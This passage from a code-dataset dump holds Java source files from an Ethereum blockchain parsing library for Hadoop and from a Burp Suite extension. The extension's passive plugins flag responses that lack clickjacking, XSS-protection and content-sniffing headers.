rpe) { Integer result=0; byte[] rawBytes=rpe.getRawData(); if ((rawBytes!=null)) { // fill leading zeros if (rawBytes.length<EthereumUtil.WORD_SIZE) { byte[] fullBytes=new byte[EthereumUtil.WORD_SIZE]; int dtDiff=EthereumUtil.WORD_SIZE-rawBytes.length; for (int i=0;i<rawBytes.length;i++) { fullBytes[dtDiff+i]=rawBytes[i]; result=(int) ByteBuffer.wrap(fullBytes).getShort() & 0xFFFF; } } else { result=(int) ByteBuffer.wrap(rawBytes).getShort() & 0xFFFF; } } return result; } /** * Converts a int in a RLPElement to int * * @param rpe RLP element containing a raw int * @return long (unsigned int) or null if not int */ public static Long convertToInt(RLPElement rpe) { Long result=0L; byte[] rawBytes=rpe.getRawData(); if ((rawBytes!=null)) { // fill leading zeros if (rawBytes.length<EthereumUtil.INT_SIZE) { byte[] fullBytes=new byte[EthereumUtil.INT_SIZE]; int dtDiff=EthereumUtil.INT_SIZE-rawBytes.length; for (int i=0;i<rawBytes.length;i++) { fullBytes[dtDiff+i]=rawBytes[i]; result=(long) ByteBuffer.wrap(fullBytes).getInt()& 0x00000000ffffffffL; } } else { result=(long) ByteBuffer.wrap(rawBytes).getInt() & 0x00000000ffffffffL; } } return result; } /** * Converts a long in a RLPElement to long * * @param rpe RLP element containing a raw long * @return long or null if not long */ public static Long convertToLong(RLPElement rpe) { Long result=0L; byte[] rawBytes=rpe.getRawData(); if ((rawBytes!=null)) { // fill leading zeros if (rawBytes.length<EthereumUtil.LONG_SIZE) { byte[] fullBytes=new byte[EthereumUtil.LONG_SIZE]; int dtDiff=EthereumUtil.LONG_SIZE-rawBytes.length; for (int i=0;i<rawBytes.length;i++) { fullBytes[dtDiff+i]=rawBytes[i]; result=ByteBuffer.wrap(fullBytes).getLong(); } } else { result=ByteBuffer.wrap(rawBytes).getLong(); } } return result; } /*** * Converts long to variable number without leading zeros * * @param value * @return byte array containing variable number (without leading zeros) */ @Deprecated public static byte[] convertLongToVarInt(long value) { // to make it threadsafe - could be optimized at a later stage ByteBuffer longBB = ByteBuffer.allocate(EthereumUtil.LONG_SIZE); longBB.putLong(value); byte[] result = longBB.array(); int leadingZeros=0; for (int i=0;i<result.length;i++) { if (result[i]==0) { leadingZeros++; } else { break; } } return Arrays.copyOfRange(result, leadingZeros, result.length); } /*** * Converts a UTF-8 String in a RLPElement to String * * @param rpe RLP element containing a raw String * @return string or null if not String * @throws UnsupportedEncodingException if UTF-8 is not supported */ public static String convertToString(RLPElement rpe) throws UnsupportedEncodingException { String result=null; if (!((rpe.getRawData()==null) || (rpe.getRawData().length==0))) { result=new String(rpe.getRawData(), "UTF-8"); } return result; } /*** * Converts a String in a RLPElement to String * * @param rpe RLP element containing a raw String * @param encoding encoding of the raw String * @return string or null if not String * @throws UnsupportedEncodingException */ public static String convertToString(RLPElement rpe, String encoding) throws UnsupportedEncodingException { String result=null; if (!((rpe.getRawData()==null) || (rpe.getRawData().length==0))) { result=new String(rpe.getRawData(), encoding); } return result; } /** Hex functionality **/ /** * Converts a Hex String to Byte Array. Only used for configuration not for parsing. Hex String is in format of xsd:hexBinary * * @param hexString String in Hex format. * * @return byte array corresponding to String in Hex format * */ public static byte[] convertHexStringToByteArray(String hexString) { return DatatypeConverter.parseHexBinary(hexString); } /** * Converts a Byte Array to Hex String. Only used for configuration not for parsing. Hex String is in format of xsd:hexBinary * * @param byteArray byte array to convert * * @return String in Hex format corresponding to byteArray * */ public static String convertByteArrayToHexString(byte[] byteArray) { return DatatypeConverter.printHexBinary(byteArray); } /** * Reverses the order of the byte array * * @param inputByteArray array to be reversed * * @return inputByteArray in reversed order * **/ public static byte[] reverseByteArray(byte[] inputByteArray) { byte[] result=new byte[inputByteArray.length]; for (int i=inputByteArray.length-1;i>=0;i--) { result[result.length-1-i]=inputByteArray[i]; } return result; } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransaction.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransaction.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.IOException; import java.io.Serializable; import java.math.BigInteger; /** * * */ public class EthereumTransaction implements Serializable { private byte[] nonce; private BigInteger value; private byte[] valueRaw; private byte[] receiveAddress; private BigInteger gasPrice; private byte[] gasPriceRaw; private BigInteger gasLimit; private byte[] gasLimitRaw; private byte[] data; private byte[] sig_v; private byte[] sig_r; private byte[] sig_s; public EthereumTransaction() { // please use setter to set the data } public byte[] getNonce() { return nonce; } public void setNonce(byte[] nonce) { this.nonce = nonce; } public BigInteger getValue() { if (value==null) { this.value=EthereumTransactionInterface.convertVarNumberToBigInteger(this.valueRaw); } return value; } public void setValue(BigInteger value) { this.value = value; } public byte[] getReceiveAddress() { return receiveAddress; } public void setReceiveAddress(byte[] receiveAddress) { this.receiveAddress = receiveAddress; } public BigInteger getGasPrice() { if (gasPrice==null) { this.gasPrice=EthereumTransactionInterface.convertVarNumberToBigInteger(this.gasPriceRaw); } return gasPrice; } public void setGasPrice(BigInteger gasPrice) { this.gasPrice = gasPrice; } public BigInteger getGasLimit() { if (gasLimit==null) { this.gasLimit=EthereumTransactionInterface.convertVarNumberToBigInteger(this.gasLimitRaw); } return gasLimit; } public void setGasLimit(BigInteger gasLimit) { this.gasLimit = gasLimit; } public byte[] getData() { return data; } public void setData(byte[] data) { this.data = data; } public void set(EthereumTransaction newTransaction) { this.nonce=newTransaction.getNonce(); this.valueRaw=newTransaction.getValueRaw(); this.value=newTransaction.getValue(); this.receiveAddress=newTransaction.getReceiveAddress(); this.gasPriceRaw=newTransaction.getGasPriceRaw(); this.gasPrice = newTransaction.getGasPrice(); this.gasLimitRaw=newTransaction.getGasLimitRaw(); this.gasLimit=newTransaction.getGasLimit(); this.data=newTransaction.getData(); this.sig_v=newTransaction.getSig_v(); this.sig_r=newTransaction.getSig_r(); this.sig_s=newTransaction.getSig_s(); } public byte[] getSig_v() { return sig_v; } public void setSig_v(byte[] sig_v) { this.sig_v = sig_v; } public byte[] getSig_r() { return sig_r; } public void setSig_r(byte[] sig_r) { this.sig_r = sig_r; } public byte[] getSig_s() { return sig_s; } public void setSig_s(byte[] sig_s) { this.sig_s = sig_s; } public byte[] getValueRaw() { return valueRaw; } public void setValueRaw(byte[] valueRaw) { this.valueRaw = valueRaw; } public byte[] getGasPriceRaw() { return gasPriceRaw; } public void setGasPriceRaw(byte[] gasPriceRaw) { this.gasPriceRaw = gasPriceRaw; } public byte[] getGasLimitRaw() { return gasLimitRaw; } public void setGasLimitRaw(byte[] gasLimitRaw) { this.gasLimitRaw = gasLimitRaw; } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockHeader.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockHeader.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.Serializable; import java.math.BigInteger; /** * * */ public class EthereumBlockHeader implements Serializable { /** * */ private static final long serialVersionUID = 2446091414374317679L; private byte[] parentHash; private byte[] uncleHash; private byte[] coinBase; private byte[] stateRoot; private byte[] txTrieRoot; private byte[] receiptTrieRoot; private byte[] logsBloom; private byte[] difficulty; private long timestamp; private BigInteger number; private byte[] numberRaw; private BigInteger gasLimit; private byte[] gasLimitRaw; private BigInteger gasUsed; private byte[] gasUsedRaw; private byte[] mixHash; private byte[] extraData; private byte[] nonce; public EthereumBlockHeader() { // please use the set method to modify the data } public byte[] getParentHash() { return parentHash; } public void setParentHash(byte[] parentHash) { this.parentHash = parentHash; } public byte[] getUncleHash() { return uncleHash; } public void setUncleHash(byte[] uncleHash) { this.uncleHash = uncleHash; } public byte[] getCoinBase() { return coinBase; } public void setCoinBase(byte[] coinBase) { this.coinBase = coinBase; } public byte[] getStateRoot() { return stateRoot; } public void setStateRoot(byte[] stateRoot) { this.stateRoot = stateRoot; } public byte[] getTxTrieRoot() { return txTrieRoot; } public void setTxTrieRoot(byte[] txTrieRoot) { this.txTrieRoot = txTrieRoot; } public byte[] getReceiptTrieRoot() { return receiptTrieRoot; } public void setReceiptTrieRoot(byte[] receiptTrieRoot) { this.receiptTrieRoot = receiptTrieRoot; } public byte[] getLogsBloom() { return logsBloom; } public void setLogsBloom(byte[] logsBloom) { this.logsBloom = logsBloom; } public byte[] getDifficulty() { return difficulty; } public void setDifficulty(byte[] difficulty) { this.difficulty = difficulty; } public long getTimestamp() { return timestamp; } public void setTimestamp(long timestamp) { this.timestamp = timestamp; } public BigInteger getNumber() { if (number==null) { this.number=EthereumUtil.convertVarNumberToBigInteger(this.numberRaw); } return number; } public void setNumber(BigInteger number) { this.number = number; } public BigInteger getGasLimit() { if (gasLimit==null) { this.gasLimit=EthereumUtil.convertVarNumberToBigInteger(this.gasLimitRaw); } return gasLimit; } public void setGasLimit(BigInteger gasLimit) { this.gasLimit = gasLimit; } public BigInteger getGasUsed() { if (gasUsed==null) { this.gasUsed=EthereumUtil.convertVarNumberToBigInteger(this.gasUsedRaw); } return gasUsed; } public void setGasUsed(BigInteger gasUsed) { this.gasUsed = gasUsed; } public byte[] getMixHash() { return mixHash; } public void setMixHash(byte[] mixHash) { this.mixHash = mixHash; } public byte[] getExtraData() { return extraData; } public void setExtraData(byte[] extraData) { this.extraData = extraData; } public byte[] getNonce() { return nonce; } public void setNonce(byte[] nonce) { this.nonce = nonce; } public void set(EthereumBlockHeader newEthereumBlockHeader) { this.parentHash=newEthereumBlockHeader.getParentHash(); this.uncleHash=newEthereumBlockHeader.getUncleHash(); this.coinBase=newEthereumBlockHeader.getCoinBase(); this.stateRoot=newEthereumBlockHeader.getStateRoot(); this.txTrieRoot=newEthereumBlockHeader.getTxTrieRoot(); this.receiptTrieRoot=newEthereumBlockHeader.getReceiptTrieRoot(); this.logsBloom=newEthereumBlockHeader.getLogsBloom(); this.difficulty=newEthereumBlockHeader.getDifficulty(); this.timestamp=newEthereumBlockHeader.getTimestamp(); this.number=newEthereumBlockHeader.getNumber(); this.numberRaw=newEthereumBlockHeader.getNumberRaw(); this.gasLimit=newEthereumBlockHeader.getGasLimit(); this.gasLimitRaw=newEthereumBlockHeader.getGasLimitRaw(); this.gasUsed=newEthereumBlockHeader.getGasUsed(); this.gasUsedRaw=newEthereumBlockHeader.getGasUsedRaw(); this.mixHash=newEthereumBlockHeader.getMixHash(); this.extraData=newEthereumBlockHeader.getExtraData(); this.nonce=newEthereumBlockHeader.getNonce(); } public byte[] getNumberRaw() { return numberRaw; } public void setNumberRaw(byte[] numberRaw) { this.numberRaw = numberRaw; } public byte[] getGasLimitRaw() { return gasLimitRaw; } public void setGasLimitRaw(byte[] gasLimitRaw) { this.gasLimitRaw = gasLimitRaw; } public byte[] getGasUsedRaw() { return gasUsedRaw; } public void setGasUsedRaw(byte[] gasUsedRaw) { this.gasUsedRaw = gasUsedRaw; } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlock.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlock.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.IOException; import java.io.Serializable; import java.util.List; public class EthereumBlock implements Serializable { private EthereumBlockHeader ethereumBlockHeader; private List<EthereumTransaction> ethereumTransactions; private List<EthereumBlockHeader> uncleHeaders; public EthereumBlock() { } public EthereumBlock(EthereumBlockHeader ethereumBlockHeader, List<EthereumTransaction> ethereumTransactions, List<EthereumBlockHeader> uncleHeaders) { this.ethereumBlockHeader=ethereumBlockHeader; this.ethereumTransactions=ethereumTransactions; this.uncleHeaders=uncleHeaders; } public EthereumBlockHeader getEthereumBlockHeader() { return ethereumBlockHeader; } public List<EthereumBlockHeader> getUncleHeaders() { return uncleHeaders; } public List<EthereumTransaction> getEthereumTransactions() { return ethereumTransactions; } public void set(EthereumBlock newBlock) { this.ethereumBlockHeader=newBlock.getEthereumBlockHeader(); this.uncleHeaders=newBlock.getUncleHeaders(); this.ethereumTransactions=newBlock.getEthereumTransactions(); } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransactionInterface.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransactionInterface.java
package org.zuinnote.hadoop.ethereum.format.common; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPElement; import java.math.BigInteger; public interface EthereumTransactionInterface { public static BigInteger convertVarNumberToBigInteger(byte[] rawData) { BigInteger result=BigInteger.ZERO; if (rawData!=null) { if (rawData.length>0) { result = new BigInteger(1,rawData); // we know it is always positive } } return result; } public static BigInteger convertVarNumberToBigInteger(RLPElement rpe) { return convertVarNumberToBigInteger(rpe.getRawData()); } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransactionWritable.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumTransactionWritable.java
/** * Copyright 2021 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.DataInput; import java.io.DataOutput; import java.io.IOException; import java.io.Serializable; import java.math.BigInteger; import org.apache.hadoop.io.Writable; public class EthereumTransactionWritable extends EthereumTransaction implements Writable { @Override public void write(DataOutput out) throws IOException { throw new UnsupportedOperationException("write unsupported"); } @Override public void readFields(DataInput in) throws IOException { throw new UnsupportedOperationException("readFields unsupported"); } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPList.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPList.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common.rlp; import java.util.List; public class RLPList implements RLPObject { private List<RLPObject> rlpList; public RLPList(List<RLPObject> rlpList) { this.rlpList=rlpList; } public List<RLPObject> getRlpList() { return this.rlpList; } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPElement.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPElement.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common.rlp; public class RLPElement implements RLPObject { private byte[] rawData; private byte[] indicator; public RLPElement(byte[] indicator, byte[] rawData) { this.indicator=indicator; this.rawData=rawData; } public byte[] getRawData() { return this.rawData; } public byte[] getIndicator() { return this.indicator; } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPObject.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/rlp/RLPObject.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common.rlp; /** * @author jornfranke * */ public interface RLPObject { }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/CustomScanIssue.java
src/main/java/com/yandex/burp/extensions/plugins/CustomScanIssue.java
package com.yandex.burp.extensions.plugins; import burp.IHttpRequestResponse; import burp.IHttpService; import burp.IScanIssue; import java.net.URL; /** * Created by a-abakumov on 28/02/2017. */ public class CustomScanIssue implements IScanIssue { private IHttpService httpService; private URL url; private IHttpRequestResponse[] httpMessages; private String issueDetail; private int issueType; private String issueName; private String severity; private String confidence; private String remediationDetail; private String issueBackground; private String remediationBackground; public CustomScanIssue(IHttpService httpService, URL url, IHttpRequestResponse[] httpMessages, String issueDetail, int issueType, String issueName, String severity, String confidence, String remediationDetail, String issueBackground, String remediationBackground) { this.httpService = httpService; this.url = url; this.httpMessages = httpMessages; this.issueDetail = issueDetail; this.issueType = issueType; this.issueName = issueName; this.severity = severity; this.confidence = confidence; this.remediationDetail = remediationDetail; this.issueBackground = issueBackground; this.remediationBackground = remediationBackground; } @Override public URL getUrl() { return url; } @Override public String getIssueName() { return issueName; } @Override public int getIssueType() { return issueType; } @Override public String getSeverity() { return severity; } @Override public String getConfidence() { return confidence; } @Override public String getIssueBackground() { return issueBackground; } @Override public String getRemediationBackground() { return remediationBackground; } @Override public String getIssueDetail() { return issueDetail; } @Override public String getRemediationDetail() { return remediationDetail; } @Override public IHttpRequestResponse[] getHttpMessages() { return httpMessages; } @Override public IHttpService getHttpService() { return httpService; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/Utils.java
src/main/java/com/yandex/burp/extensions/plugins/Utils.java
package com.yandex.burp.extensions.plugins; import burp.IResponseInfo; import java.util.List; /** * Created by a-abakumov on 24/03/2017. */ public class Utils { public static String getContentType(IResponseInfo resp) { String contentTypeValue = getHeaderValue(resp, "Content-Type"); if (contentTypeValue != null) { return contentTypeValue.split(";", 2)[0].trim().toLowerCase(); } else { return null; } } public static String getHeaderValue(IResponseInfo resp, String headerName) { for (String header : resp.getHeaders()) { String[] chunks = header.split(":", 2); if (chunks.length != 2 || !chunks[0].toLowerCase().equals(headerName.toLowerCase())) continue; return chunks[1].trim(); } return null; } public static String getHeaderValue(List<String> headers, String headerName) { for (String header : headers) { String[] chunks = header.split(":", 2); if (chunks.length != 2 || !chunks[0].toLowerCase().equals(headerName.toLowerCase())) continue; return chunks[1].trim(); } return null; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/grep/XXssProtectionPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/grep/XXssProtectionPlugin.java
package com.yandex.burp.extensions.plugins.grep; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.Arrays; import java.util.List; /** * Created by a-abakumov on 15/02/2017. */ public class XXssProtectionPlugin implements IGrepPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private final int ISSUE_TYPE = 0x080a000d; private final String ISSUE_NAME = "Missing X-XSS-Protection header"; private final String SEVERITY = "Information"; private final String CONFIDENCE = "Certain"; public XXssProtectionPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); } @Override public IScanIssue grep(IHttpRequestResponse baseRequestResponse) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); if (resp == null) return null; if (resp.getStatusCode() != 200) return null; List<String> contentTypes = Arrays.asList("text/html", "application/xml"); List<String> headers = resp.getHeaders(); String contentTypeHeader = Utils.getContentType(resp); if (contentTypeHeader == null) return analyseHeaders(baseRequestResponse, headers); if (contentTypes.contains(contentTypeHeader.toLowerCase())) return analyseHeaders(baseRequestResponse, headers); return null; } private IScanIssue analyseHeaders(IHttpRequestResponse baseRequestResponse, List<String> headers) { String xXssProtectionHeader = Utils.getHeaderValue(headers, "X-Xss-Protection"); // https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection // X-XSS-Protection: 1 Enables XSS filtering (usually default in browsers). // If a cross-site scripting attack is detected, // the browser will sanitize the page (remove the unsafe parts). if (xXssProtectionHeader != null && xXssProtectionHeader.toUpperCase().contains("1")) return null; String issueDetails = "The URL <b> " + helpers.analyzeRequest(baseRequestResponse).getUrl().toString() + " </b>\n" + "returned an HTTP response without the recommended HTTP header <b>X-XSS-Protection: 1; mode=block</b>"; return new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(baseRequestResponse, null, null)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/grep/ContentSniffingPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/grep/ContentSniffingPlugin.java
package com.yandex.burp.extensions.plugins.grep; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /** * Created by a-abakumov on 07/02/2017. */ public class ContentSniffingPlugin implements IGrepPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private List<Integer> ignoreCodes = new ArrayList<>(); private final int ISSUE_TYPE = 0x080a000c; private final String ISSUE_NAME = "Missing X-Content-Type-Options header"; private final String SEVERITY = "Information"; private final String CONFIDENCE = "Certain"; public ContentSniffingPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); if (extConfig.getContentSniffingPluginConfig() == null) throw new NullPointerException(); this.ignoreCodes = extConfig.getContentSniffingPluginConfig().getIgnoreCodes(); } @Override public IScanIssue grep(IHttpRequestResponse baseRequestResponse) { IResponseInfo resp = helpers.analyzeResponse(baseRequestResponse.getResponse()); if (resp == null) return null; short statusCode = resp.getStatusCode(); if (ignoreCodes != null && ignoreCodes.contains(new Integer(statusCode))) return null; List<String> contentTypes = Arrays.asList("application/javascript", "text/css", "image/gif", "text/html", "image/x-icon", "image/png", "image/jpg", "image/jpeg", "application/x-javascript"); List<String> headers = resp.getHeaders(); String xContentTypeOptionsHeader = Utils.getHeaderValue(headers, "X-Content-Type-Options"); if (xContentTypeOptionsHeader != null && xContentTypeOptionsHeader.toUpperCase().contains("NOSNIFF")) return null; String contentTypeHeader = Utils.getContentType(resp); if (contentTypeHeader != null && !contentTypes.contains(contentTypeHeader.toLowerCase())) return null; String issueDetails = "The URL <b> " + helpers.analyzeRequest(baseRequestResponse).getUrl().toString() + "</b>\n" + "returned an HTTP response without the recommended HTTP header X-Content-Type-Options"; return new CustomScanIssue(baseRequestResponse.getHttpService(), helpers.analyzeRequest(baseRequestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(baseRequestResponse, null, null)}, issueDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/grep/IGrepPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/grep/IGrepPlugin.java
package com.yandex.burp.extensions.plugins.grep; import burp.IHttpRequestResponse; import burp.IScanIssue; /** * Created by ezaitov on 19.12.2016. */ public interface IGrepPlugin { IScanIssue grep(IHttpRequestResponse baseRequestResponse); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/grep/ClickJackingPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/grep/ClickJackingPlugin.java
package com.yandex.burp.extensions.plugins.grep; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.Utils; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import java.util.ArrayList; import java.util.List; /** * Created by a-abakumov on 02/02/2017. */ // // This plugin greps every page for X-Frame-Options header // public class ClickJackingPlugin implements IGrepPlugin { private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private List<Integer> ignoreCodes = new ArrayList<>(); private final int ISSUE_TYPE = 0x080a000b; private final String ISSUE_NAME = "Clickjacking"; private final String SEVERITY = "Information"; private final String CONFIDENCE = "Certain"; public ClickJackingPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); if (extConfig.getClickJackingPluginConfig() == null) throw new NullPointerException(); this.ignoreCodes = extConfig.getClickJackingPluginConfig().getIgnoreCodes(); } 